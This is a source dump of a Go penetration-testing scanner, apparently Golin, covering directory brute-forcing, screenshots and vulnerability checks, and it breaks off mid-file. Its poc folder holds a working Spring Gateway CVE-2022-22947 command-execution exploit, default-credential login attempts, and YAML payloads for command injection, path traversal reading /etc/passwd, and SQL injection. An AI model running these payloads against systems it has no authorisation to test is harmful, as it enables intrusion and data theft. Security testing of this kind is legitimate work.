//读取字典文件 56 | if !global.PathExists(file) { 57 | fmt.Printf("[-] 使用内置字典进行扫描,可通过-f指定扫描字典!\n") 58 | data, _ := urlData.ReadFile("url.txt") 59 | datastr := strings.ReplaceAll(string(data), "\r\n", "\n") 60 | for _, u := range strings.Split(datastr, "\n") { 61 | if len(u) == 0 { 62 | continue 63 | } 64 | checkurl = append(checkurl, u) 65 | } 66 | } else { 67 | data, _ := os.ReadFile(file) 68 | str := strings.ReplaceAll(string(data), "\r\n", "\n") 69 | for _, u := range strings.Split(str, "\n") { 70 | if len(u) == 0 { 71 | continue 72 | } 73 | checkurl = append(checkurl, u) 74 | } 75 | } 76 | 77 | countall = len(removeDuplicates(checkurl)) //去重 78 | 79 | waittime, _ := cmd.Flags().GetInt("wait") //循环超时 80 | codese, _ := cmd.Flags().GetString("code") //搜索的状态码 81 | for _, s := range strings.Split(codese, ",") { //根据分隔符写入到状态切片 82 | code = append(code, s) 83 | } 84 | codestr := strings.Join(code, ", ") 85 | 86 | fmt.Printf("[*] 开始运行dirsearch模式 共计尝试:%d次 超时等待:%d/s 循环等待:%d/s 并发数:%d 寻找状态码:%s 代理地址:%s\n ", countall, timeout, waittime, chcount, codestr, proxyurl) 87 | for _, checku := range removeDuplicates(checkurl) { 88 | if checku[0] != '/' { //判断第一个字符是不是/不是的话则增加 89 | checku = "/" + checku 90 | } 91 | ch <- struct{}{} 92 | wg.Add(1) 93 | go isStatusCodeOk(fmt.Sprintf("%s%s", url, checku)) //传递完整url\ 94 | 95 | if waittime > 0 { //延迟等待 96 | time.Sleep(time.Duration(waittime) * time.Second) 97 | } 98 | } 99 | wg.Wait() 100 | time.Sleep(time.Second * 1) //等待1秒是因为并发问题,等待进度条。 101 | //percent() 102 | fmt.Print("\033[2K") // 擦除整行 103 | fmt.Printf("\r") 104 | 105 | } 106 | 107 | // removeDuplicates 切片去重 108 | func removeDuplicates(slice []string) []string { 109 | keys := make(map[string]bool) 110 | var list []string 111 | for _, entry := range slice { 112 | if _, value := keys[entry]; !value { 113 | keys[entry] = true 114 | list = append(list, entry) 115 | } 116 | } 117 | return list 118 | } 119 | -------------------------------------------------------------------------------- /dirscan/percent.go: -------------------------------------------------------------------------------- 1 | package dirscan 2 | 3 | import ( 4 | "fmt" 5 | "github.com/fatih/color" 6 | ) 7 | 8 | // percent 输出进度条 9 | func percent() { 10 | percent := (float64(succeCount) / float64(countall)) * 100.00 11 | spinChar := rotateSpinner() 12 | if percent == 100 { 13 | spinChar = "√" 14 | } 15 | percentStr := fmt.Sprintf("%.2f", percent) // 将百分比值格式化为字符串 16 | fmt.Printf("\r[%s] 当前进度: %s", 17 | spinChar, 18 | color.RedString("%s", fmt.Sprintf("%s%%", percentStr)), 19 | ) 20 | 21 | } 22 | 23 | // 旋转进度条 24 | func rotateSpinner() string { 25 | mu.Lock() 26 | defer mu.Unlock() 27 | 28 | spinChar := spinnerChars[counter%len(spinnerChars)] 29 | counter++ 30 | return spinChar 31 | } 32 | -------------------------------------------------------------------------------- /global/CaptureWebScreenshot.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | import ( 4 | "context" 5 | "github.com/chromedp/cdproto/page" 6 | "github.com/chromedp/chromedp" 7 | "os" 8 | "path/filepath" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | // CaptureScreenshot 要截图的网页的 URL,截图的质量,以及保存截图的目录 14 | func CaptureScreenshot(url string, quality int64, dir string) error { 15 | // 创建一个上下文 16 | ctx, cancel := chromedp.NewContext(context.Background()) 17 | defer cancel() 18 | 19 | // 设置浏览器选项 20 | opts := append(chromedp.DefaultExecAllocatorOptions[:], 21 | chromedp.Flag("headless", true), 22 | chromedp.Flag("disable-gpu", true), 23 | chromedp.Flag("no-sandbox", true), 24 | chromedp.Flag("disable-dev-shm-usage", true), 25 | chromedp.Flag("ignore-certificate-errors", true), // 忽略证书错误 26 | //chromedp.Flag("remote-debugging-port", "9222"), 27 | ) 28 | allocCtx, cancel := chromedp.NewExecAllocator(ctx, opts...) 29 | defer cancel() 30 | 31 | // 创建一个浏览器实例 32 | ctx, cancel = chromedp.NewContext(allocCtx) 33 | defer cancel() 34 | 35 | // 导航到指定的URL 36 | var buf []byte 37 | err := chromedp.Run(ctx, chromedp.Navigate(url), chromedp.Sleep(3*time.Second), chromedp.ActionFunc(func(ctx context.Context) error { 38 | // 获取页面截图 39 | var err error 40 | buf, err = page.CaptureScreenshot().WithQuality(quality).WithClip(&page.Viewport{X: 0, Y: 0, Width: 1024, Height: 768, Scale: 1}).Do(ctx) 41 | if err != nil { 42 | return err 43 | } 44 | return nil 45 | })) 46 | if err != nil { 47 | return err 48 | } 49 | 50 | // 将 URL 中的非法字符替换为下划线 51 | filename := strings.Map(func(r rune) rune { 52 | if r == '/' || r == ':' { 53 | return '_' 54 | } 55 | return r 56 | }, url) 57 | 58 | // 检查文件夹是否存在,如果不存在则创建 59 | if _, err := os.Stat(dir); os.IsNotExist(err) { 60 | err = os.MkdirAll(dir, 0755) 61 | if err != nil { 62 | return err 63 | } 64 | } 65 | 66 | // 将截图保存到文件 67 | err = os.WriteFile(filepath.Join(dir, filename+".png"), buf, 0644) 68 | if err != nil { 69 | return err 70 | } 71 | 72 | return nil 73 | } 74 | -------------------------------------------------------------------------------- /global/countFiles.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | import ( 4 | "os" 5 | "path/filepath" 6 | ) 7 | 8 | // CountDirFiles 接收一个目录返回目录中的文件数量 9 | func CountDirFiles(dirPath string) (int, error) { 10 | var fileCount int 11 | err := filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error { 12 | if err != nil { 13 | return err 14 | } 15 | if !info.IsDir() { 16 | fileCount++ 17 | } 18 | return nil 19 | }) 20 | 21 | if err != nil { 22 | return 0, err 23 | } 24 | 25 | return fileCount, nil 26 | } 27 | -------------------------------------------------------------------------------- /global/gloabl.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | import ( 4 | "os" 5 | "sync" 6 | ) 7 | 8 | const ( 9 | XlsxTemplateName = "golin上传文件模板文件.xlsx" 10 | ) 11 | 12 | // 公共变量 13 | var ( 14 | SuccessLog = "log.log" //运行记录 15 | Split = "~" //默认分割符号 16 | CmdLinuxPath = "linux.txt" //默认Linux模式多主机模式下读取的文件 17 | CmdMysqlPath = "mysql.txt" //默认Mysql模式多主机模式下读取的文件 18 | CmdRedisPath = "redis.txt" //默认Redis模式多主机模式下读取的文件 19 | CmdRoutepath = "route.txt" //默认route模式多主机模式下读取的文件 20 | CmdPgsqlPath = "pgsql.txt" //默认pgsql模式多主机模式下读取的文件 21 | CmdsqlServerPath = "sqlserver.txt" //默认sqlserver模式多主机模式下读取的文件 22 | CmdOraclePath = "oracle.txt" //默认oracle模式多主机模式下读取的文件 23 | FilePer = 0744 //创建文件或目录时的默认权限,必须是0开头 24 | Succpath = "采集完成目录" //CLi模式成功主机写入日志的目录 25 | Succwebpath = "webhistory.json" //Web模式运行记录 26 | Denynametype = []string{"\\", "\\/", "*", "?", "\"", "<", ">", "|"} //windos下不允许创建名称的特殊符号。 27 | PrintLock sync.RWMutex //并发输出写入 28 | WebURl = "" //web扫描时临时后缀 29 | SaveIMG = false //web扫描时是否进行截图,本地需要有chrom浏览器 30 | SsaveIMGDIR = "WebScreenshot" 31 | ) 32 | 33 | // AppendToFile 创建追加写入函数 34 | func AppendToFile(filename string, content string) error { 35 | // 检测文件是否存在 36 | var file *os.File 37 | var err error 38 | if _, err = os.Stat(filename); os.IsNotExist(err) { 39 | // 如果文件不存在,则创建文件 40 | file, err = os.Create(filename) 41 | if err != nil { 42 | return err 43 | } 44 | } else { 45 | // 如果文件存在,则以追加模式打开文件 46 | file, err = os.OpenFile(filename, os.O_APPEND|os.O_WRONLY, os.FileMode(FilePer)) 47 | if err != nil { 48 | return err 49 | } 50 | } 51 | // 在文件末尾写入内容 52 | defer file.Close() 53 | if _, err = file.WriteString(content); err != nil { 54 | return err 55 | } 56 | return nil 57 | } 58 | 59 | // PathExists 文件是否存在 60 | func PathExists(path string) bool { 61 | _, err := os.Stat(path) 62 | if err == nil { 63 | return true 64 | } 65 | if os.IsNotExist(err) { 66 | return false 67 | } 68 | return false 69 | } 70 | 71 | // InSlice 判断字符串是否在 slice 中。 72 | func InSlice(items []string, item string) bool { 73 | for _, eachItem := range items { 74 | if eachItem == item { 75 | return true 76 | } 77 | } 78 | return false 79 | } 80 | 81 | // RemoveDuplicates 切片去重 82 | func RemoveDuplicates(slice []string) []string { 83 | keys := make(map[string]bool) 84 | var list []string 85 | 86 | for _, entry := range slice { 87 | if _, value := keys[entry]; !value { 88 | keys[entry] = true 89 | list = append(list, entry) 90 | } 91 | } 92 | return list 93 | } 94 | 95 | func MkdirAll(path string) bool { 96 | if err := os.MkdirAll(path, 0750); err != nil { 97 | return false 98 | } 99 | return true 100 | } 101 | -------------------------------------------------------------------------------- /global/log.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "time" 7 | ) 8 | 9 | // LogLevel 定义了不同的日志级别。 10 | type LogLevel int 11 | 12 | const ( 13 | // LevelError 代表错误级别的日志。 14 | LevelError LogLevel = iota 15 | // LevelWarning 代表警告级别的日志。 16 | LevelWarning 17 | // LevelInfo 代表信息级别的日志。 18 | LevelInfo 19 | ) 20 | 21 | // LogToFile 将日志消息写入指定的日志文件。如果文件不存在,会自动创建。 22 | func LogToFile(level LogLevel, message string) { 23 | 24 | logFileName := "crack.log" 25 | // 根据日志级别添加不同的前缀 26 | levelPrefix := map[LogLevel]string{ 27 | LevelError: "[ERROR]", 28 | LevelWarning: "[WARNING]", 29 | LevelInfo: "[INFO]", 30 | } 31 | prefix, ok := levelPrefix[level] 32 | if !ok { 33 | return 34 | } 35 | 36 | file, err := os.OpenFile(logFileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0666) 37 | if err != nil { 38 | return 39 | } 40 | defer file.Close() 41 | 42 | // 构建日志消息,格式为: time [level] msg 43 | logMessage := fmt.Sprintf("%s %s %s\n", time.Now().Format(time.DateTime), prefix, message) 44 | 45 | // 写入日志文件 46 | _, _ = file.WriteString(logMessage) 47 | 48 | } 49 | -------------------------------------------------------------------------------- /global/percent.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | import ( 4 | "fmt" 5 | "github.com/fatih/color" 6 | ) 7 | 8 | var ( 9 | spinnerChars = []string{"|", "/", "-", "\\"} //进度条更新动画 10 | counter = 0 //当前已扫描的数量,计算百分比 11 | ) 12 | 13 | // Percent 输出进度条 14 | func Percent(succeCount, countall uint32) { 15 | PrintLock.Lock() 16 | defer PrintLock.Unlock() 17 | percent := (float64(succeCount) / float64(countall)) * 100.00 18 | spinChar := rotateSpinner() 19 | if percent == 100 { 20 | spinChar = "√" 21 | } 22 | 23 | percentStr := fmt.Sprintf("%.2f", percent) // 将百分比值格式化为字符串 24 | fmt.Print("\033[2K") // 擦除整行 25 | fmt.Printf("\r[%s] 当前进度: %s", 26 | spinChar, 27 | color.RedString("%s", fmt.Sprintf("%s%%", percentStr)), 28 | ) 29 | } 30 | 31 | // 旋转进度条 32 | func rotateSpinner() string { 33 | spinChar := spinnerChars[counter%len(spinnerChars)] 34 | counter++ 35 | return spinChar 36 | } 37 | -------------------------------------------------------------------------------- /global/update.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io" 7 | "net/http" 8 | "os" 9 | ) 10 | 11 | type releaseInfo struct { 12 | TagName string `json:"tag_name"` 13 | Assets []BrowserDown `json:"assets"` 14 | } 15 | type BrowserDown struct { 16 | BrowserDownloadUrl string `json:"browser_download_url"` 17 | Size int64 `json:"size"` 18 | } 19 | 20 | // CheckForUpdate 检查更新 21 | func CheckForUpdate() (releaseInfo, error) { 22 | var info releaseInfo 23 | response, err := http.Get(RepoUrl) 24 | if err != nil { 25 | return info, err 26 | } 27 | defer func(Body io.ReadCloser) { 28 | err := Body.Close() 29 | if err != nil { 30 | fmt.Println(err) 31 | os.Exit(1) 32 | } 33 | }(response.Body) 34 | 35 | if response.StatusCode != http.StatusOK { 36 | return info, fmt.Errorf("failed to fetch latest release information with status code %d", response.StatusCode) 37 | } 38 | body, err := io.ReadAll(response.Body) 39 | if err != nil { 40 | fmt.Println("无法读取响应正文:", err) 41 | return info, err 42 | } 43 | 44 | err = json.Unmarshal(body, &info) 45 | if err != nil { 46 | return info, err 47 | } 48 | 49 | return info, nil 50 | } 51 | -------------------------------------------------------------------------------- /global/version.go: -------------------------------------------------------------------------------- 1 | package global 2 | 3 | const ( 4 | Version = "1.2.6" //当前版本号 5 | Releasenotes = "快速扫描更智能;增加多种漏洞识别;溯源应急能力提升" //版本说明 6 | RepoUrl = "https://api.github.com/repos/selinuxg/Golin/releases/latest" //仓库最新版本 7 | ) 8 | -------------------------------------------------------------------------------- /images/dirsearch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/images/dirsearch.jpg -------------------------------------------------------------------------------- /images/port.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/images/port.jpg -------------------------------------------------------------------------------- /images/vx.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/images/vx.jpg -------------------------------------------------------------------------------- /images/web.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/images/web.jpg -------------------------------------------------------------------------------- /images/xshell.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/selinuxG/Golin/d52f8ee2adaff510076fb4cd984db2b73c03cb82/images/xshell.jpg -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | // Copyright © 2023 NAME HERE 4 | 5 | import ( 6 | "fmt" 7 | "golin/cmd" 8 | "time" 9 | ) 10 | 11 | func main() { 12 | start := time.Now() 13 | cmd.Execute() 14 | end := time.Now().Sub(start) 15 | fmt.Printf("[*] 任务结束,耗时: %s\n", end) 16 | } 17 | -------------------------------------------------------------------------------- /poc/AuthZookeeper.go: -------------------------------------------------------------------------------- 1 | package poc 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "time" 7 | ) 8 | 9 | func ZookeeperCon(host, port string) { 10 | address := fmt.Sprintf("%s:%s", host, port) 11 | conn, err := net.DialTimeout("tcp", address, 3*time.Second) 12 | if err != nil { 13 | return 14 | } 15 | defer conn.Close() 16 | 17 | _, err = conn.Write([]byte("envi")) 18 | if err != nil { 19 | return 20 | } 21 | 22 | buffer := make([]byte, 1024) 23 | n, err := conn.Read(buffer) 24 | if err != nil { 25 | return 26 | } 27 | 28 | response := string(buffer[:n]) 29 | // 如果响应中包含 "Environment",则是 Zookeeper 服务 30 | if n > 0 && response[0:11] == "Environment" { 31 | flags := Flagcve{fmt.Sprintf("%s:%s", host, port), "Zookeeper未授权访问", "可通过nc参数执行conf、envi等命令验证"} 32 | echoFlag(flags) 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /poc/Spring-CVE-2022-22947.go: -------------------------------------------------------------------------------- 1 | package poc 2 | 3 | import ( 4 | "bytes" 5 | "encoding/base64" 6 | "io" 7 | "net/http" 8 | "regexp" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | const payload1 = "/actuator/gateway/routes/66Sec" 14 | const payload2 = "/actuator/gateway/refresh" 15 | const payload3 = "/actuator/gateway/routes/66Sec" 16 | 17 | var headers = map[string]string{ 18 | "Accept-Encoding": "gzip, deflate", 19 | "Accept": "*/*", 20 | "Accept-Language": "en", 21 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", 22 | "Connection": "close", 23 | "Content-Type": "application/json", 24 | } 25 | 26 | var data = "ewogICJpZCI6ICJXZWlhblNlYyIsCiAgImZpbHRlcnMiOiBbewogICAgIm5hbWUiOiAiQWRkUmVzcG9uc2VIZWFkZXIiLAogICAgImFyZ3MiOiB7CiAgICAgICJuYW1lIjogIlJlc3VsdCIsCiAgICAgICJ2YWx1ZSI6ICIje25ldyBTdHJpbmcoVChvcmcuc3ByaW5nZnJhbWV3b3JrLnV0aWwuU3RyZWFtVXRpbHMpLmNvcHlUb0J5dGVBcnJheShUKGphdmEubGFuZy5SdW50aW1lKS5nZXRSdW50aW1lKCkuZXhlYyhuZXcgU3RyaW5nW117XCJDbWRcIn0pLmdldElucHV0U3RyZWFtKCkpKX0iCiAgICB9CiAgfV0sCiAgInVyaSI6ICJodHRwOi8vZXhhbXBsZS5jb20iCn0=" 27 | 28 | func CVE_2022_22947(url, cmd string) { 29 | client := &http.Client{ 30 | Timeout: time.Second * 3, 31 | } 32 | 33 | decodedData, _ := base64.StdEncoding.DecodeString(data) 34 | dataStr := strings.Replace(string(decodedData), "Cmd", cmd, -1) 35 | 36 | req, _ := http.NewRequest("POST", url+payload1, bytes.NewBuffer([]byte(dataStr))) 37 | for k, v := range headers { 38 | req.Header.Set(k, v) 39 | } 40 | resp, err := client.Do(req) 41 | if err != nil { 42 | return 43 | } 44 | defer resp.Body.Close() 45 | 46 | req, _ = http.NewRequest("POST", url+payload2, bytes.NewBuffer(nil)) 47 | for k, v := range headers { 48 | req.Header.Set(k, v) 49 | } 50 | _, err = client.Do(req) 51 | if err != nil { 52 | return 53 | } 54 | 55 | req, _ = http.NewRequest("GET", url+payload3, nil) 56 | for k, v := range headers { 57 | req.Header.Set(k, v) 58 | } 59 | resp, err = client.Do(req) 60 | if err != nil { 61 | return 62 | } 63 | bodyBytes, err := io.ReadAll(resp.Body) 64 | if err != nil { 65 | return 66 | } 67 | bodyString := string(bodyBytes) 68 | 69 | re := regexp.MustCompile(`Result = ['"]?([^'")]+)`) 70 | exec := re.FindAllStringSubmatch(bodyString, -1) 71 | if len(exec) == 1 { 72 | if len(exec[0]) == 2 { 73 | flag := exec[0][1] 74 | flags := Flagcve{url, "CVE_2022_22947", "执行命令结果:" + flag} 75 | echoFlag(flags) 76 | } 77 | } 78 | 79 | } 80 | -------------------------------------------------------------------------------- /poc/client.go: -------------------------------------------------------------------------------- 1 | package poc 2 | 3 | import ( 4 | "crypto/tls" 5 | "net/http" 6 | "time" 7 | ) 8 | 9 | func newRequest(req *http.Request, timeout time.Duration) (*http.Response, float64, error) { 10 | 11 | transport := &http.Transport{ 12 | TLSClientConfig: &tls.Config{ 13 | InsecureSkipVerify: true, 14 | }} 15 | 16 | if timeout == 0 { 17 | timeout = 3 * time.Second 18 | } 19 | client := &http.Client{ 20 | Transport: transport, 21 | Timeout: time.Second * timeout, 22 | } 23 | 24 | start := time.Now() // 记录开始时间 25 | resp, err := client.Do(req) 26 | elapsed := time.Since(start) // 计算耗时 27 | 28 | return resp, elapsed.Seconds(), err 29 | } 30 | -------------------------------------------------------------------------------- /poc/emlog-default-passwd.go: -------------------------------------------------------------------------------- 1 | package poc 2 | 3 | import ( 4 | "github.com/parnurzeal/gorequest" 5 | "strings" 6 | ) 7 | 8 | func emlogDefaultPasswd(url string) { 9 | url += "/admin/account.php?action=dosignin&s=" 10 | weakPasswords := []string{ 11 | "user=admin&pw=123456", 12 | "user=admin&pw=password", 13 | "user=admin&pw=admin123", 14 | "user=admin&pw=qwerty", 15 | "user=admin&pw=root", 16 | } 17 | 18 | // 创建 gorequest 请求对象 19 | request := gorequest.New() 20 | 21 | // 遍历弱口令列表 22 | for _, payload := range weakPasswords { 23 | // 发起 POST 请求 24 | resp, body, errs := request.Post(url). 25 | Send(payload). 26 | Set("Content-Type", "application/x-www-form-urlencoded"). 27 | Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"). 28 | Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"). 29 | Set("Cache-Control", "max-age=0"). 30 | Set("Connection", "close"). 31 | End() 32 | 33 | // 如果请求发生错误,跳过 34 | if errs != nil { 35 | continue 36 | } 37 | defer resp.Body.Close() 38 | if resp.StatusCode == 200 && strings.Contains(body, "管理中心") { 39 | ListPocInfo = append(ListPocInfo, Flagcve{Url: url, Cve: "弱口令", Flag: payload}) 40 | return 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Alibaba-Sentinel-default-user.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Alibaba-Sentinel-default-user 2 | description: "登录方式:sentinel/sentinel" 3 | method: POST 4 | headers: 5 | Content-Type: "application/x-www-form-urlencoded" 6 | Authorization: "Basic Og==" 7 | path: 8 | - //auth/login?password=sentinel&username=sentinel 9 | expression: 10 | status: 200 11 | body_any: 12 | - "success" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Apache-APISIX-default-admin.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Apache-APISIX-default-user 2 | description: "登录方式:admin/admin" 3 | method: POST 4 | headers: 5 | Content-Type: "application/json" 6 | body: > 7 | {"username":"admin","password":"admin"} 8 | path: 9 | - /apisix/admin/user/login 10 | expression: 11 | status: 200 12 | body_any: 13 | - "token" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Apache-Druid-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Apache-Druid-unauth 2 | description: "ApacheDruid未授权访问" 3 | method: GET 4 | path: 5 | - /unified-console.html 6 | expression: 7 | status: 200 8 | body_all: 9 | - "Apache Druid" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Apache-Solr-Admin-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Apache-Solr-Admin-unauth 2 | description: "未授权访问" 3 | method: GET 4 | path: 5 | - /solr/admin/cores?indexInfo=false&wt=json 6 | expression: 7 | status: 200 8 | body_all: 9 | - "name" 10 | - "uptime" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Apache-storm-unauth.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Apache-storm-unauth 2 | description: "Apache-storm未授权访问" 3 | method: GET 4 | path: 5 | - /index.html 6 | expression: 7 | status: 200 8 | body_all: 9 | - "Storm UI" 10 | - "Cluster Summary" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-AuthDruidun.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-AuthDruidun 2 | description: "Druidun未授权访问" 3 | alwaysExecute: true 4 | method: GET 5 | path: 6 | - /druid/index.html 7 | expression: 8 | status: 200 9 | body_all: 10 | - "ruid Stat Index" 11 | - "DruidVersion" 12 | - "DruidDrivers" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-AuthSwagger.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-AuthSwagger 2 | description: "Swagger接口未授权访问" 3 | method: GET 4 | alwaysExecute: true 5 | path: 6 | - "/swagger/ui/index" 7 | - "/swagger-ui.html" 8 | - "/api/swagger-ui.html" 9 | - "/service/swagger-ui.html" 10 | - "/web/swagger-ui.html" 11 | - "/swagger/swagger-ui.html" 12 | - "/actuator/swagger-ui.html" 13 | - "/libs/swagger-ui.html" 14 | - "/template/swagger-ui.html" 15 | - "/api_docs" 16 | - "/api/docs/" 17 | - "/api/index.html" 18 | - "/swagger/v1/swagger.yaml" 19 | - "/swagger/v1/swagger.json" 20 | - "/swagger.yaml" 21 | - "/swagger.json" 22 | - "/api-docs/swagger.yaml" 23 | - "/api-docs/swagger.json" 24 | expression: 25 | status: 200 26 | body_any: 27 | - "Swagger UI" 28 | - "swagger-ui.min.js" 29 | - "Swagger 2.0" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-CNVD-2021-26422.yaml: -------------------------------------------------------------------------------- 1 | name: CNVD-2021-26422-亿邮电子邮件系统 2 | description: "V8.3-V8.13的部分二次开发版本可任意命令执行" 3 | method: POST 4 | body: "type='|cat /etc/passwd||'" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded; charset=UTF-8" 7 | Accept: "*/*" 8 | X-Requested-With: "XMLHttpRequest" 9 | Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36" 10 | Encoding: "gzip, deflate" 11 | Accept-Language: "zh-CN,zh;q=0.9" 12 | Connection: "close" 13 | path: 14 | - /webadm/?q=moni_detail.do&action=gragh 15 | expression: 16 | status: 200 17 | body_all: 18 | - "root" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-CVE-2024-2620.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-福建科立迅通信调度平台-sql 2 | description: "SQL注入" 3 | method: GET 4 | path: 5 | - "/api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF" 6 | expression: 7 | status: 200 8 | body_any: 9 | - "数据库没有此记录" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-CVE-2024-28995.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Serv-U-CVE-2024-28995 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - "/?InternalDir=/../../../../windows&InternalFile=win.ini" 6 | expression: 7 | status: 200 8 | body_any: 9 | - "Mail" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Casbin-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Casbin-Directory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /static/../../../../../../../../../../../etc/passwd 6 | expression: 7 | status: 200 8 | body_all: 9 | - "root:" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Casbin-user-leak.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-poc-yaml-Casbin-userleak 2 | description: "用户密码泄露" 3 | method: GET 4 | path: 5 | - /api/get-users?p=123&pageSize=123 6 | expression: 7 | status: 200 8 | body_all: 9 | - "ok" 10 | - "name" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-CellinxNVT摄像机-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-CellinxNVT摄像机-userleak 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /cgi-bin/GetFileContent.cgi?USER=root&PWD=D1D1D1D1D1D1D1D1D1D1D1D1A2A2B0A1D1D1D1D1D1D1D1D1D1D1D1D1D1D1B8D1&PATH=/etc/passwd&_=1672577046605 6 | expression: 7 | status: 200 8 | body_all: 9 | - "root" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Crawlab-Diretory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Crawlab-Diretory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /api/file?path=../../etc/passwd 6 | expression: 7 | status: 200 8 | body_all: 9 | - "root:x" 10 | -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Crocus-Diretory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-Crocus系统-Diretory 2 | description: "任意文件读取" 3 | method: GET 4 | path: 5 | - /Service.do?Action=Download&Path=C:/windows/win.ini 6 | expression: 7 | status: 200 8 | body_all: 9 | - "16-bit" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-D-Link-admin-default-password.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-D-Link-Route-admin-default 2 | description: "默认账号密码:admin/admin" 3 | method: POST 4 | body: "user=admin&password=admin" 5 | headers: 6 | Content-Type: "application/x-www-form-urlencoded" 7 | path: 8 | - /login.cgi 9 | expression: 10 | status: 200 11 | body_any: 12 | - "index.htm" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-D-LinkNAS-cmd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-D-LinkNAS-cmd 2 | description: "远程命令执行漏洞(CVE-2024-3273)" 3 | method: GET 4 | - "/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=cHdk" 5 | expression: 6 | status: 200 7 | body_all: 8 | - "var" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-DCME-320-Directory.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-神州数码DCME-320出口网关-Directory 2 | description: "任意文件读取" 3 | method: POST 4 | path: 5 | - /function/auth/user/online_list.php 6 | body: "proxy_request=/etc/passwd" 7 | expression: 8 | status: 200 9 | body_any: 10 | - "root" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-DateEase-default-passwd.yaml: -------------------------------------------------------------------------------- 1 | name: poc-yaml-飞致云-DateEase-default-passwd 2 | description: "admin/dataease" 3 | method: POST 4 | body: > 5 | {"username":"g24DUpuiuhas+dTXGTjqFQAZiIEVLgQEJR31oS8smIWqsKx7QbfAEfTUCfSqt0NXZx9NPMYSHWfefPZ+k3mLYg==","password":"PBFg6uoRZ7hO2oKw4MRGYsY/nTT91qktzawbfyTNg8Fpy/CiugLf59Uf0sanY85udQTmHKbxuiZoCVIgV5d9Uw==","loginType":0} 6 | headers: 7 | Content-Type: "application/json" 8 | path: 9 | - /api/auth/login 10 | expression: 11 | status: 200 12 | body_any: 13 | - "true" -------------------------------------------------------------------------------- /poc/yaml-poc/poc-yaml-Docker-RemoteAPI-leak.yaml: -------------------------------------------------------------------------------- 1 | name: 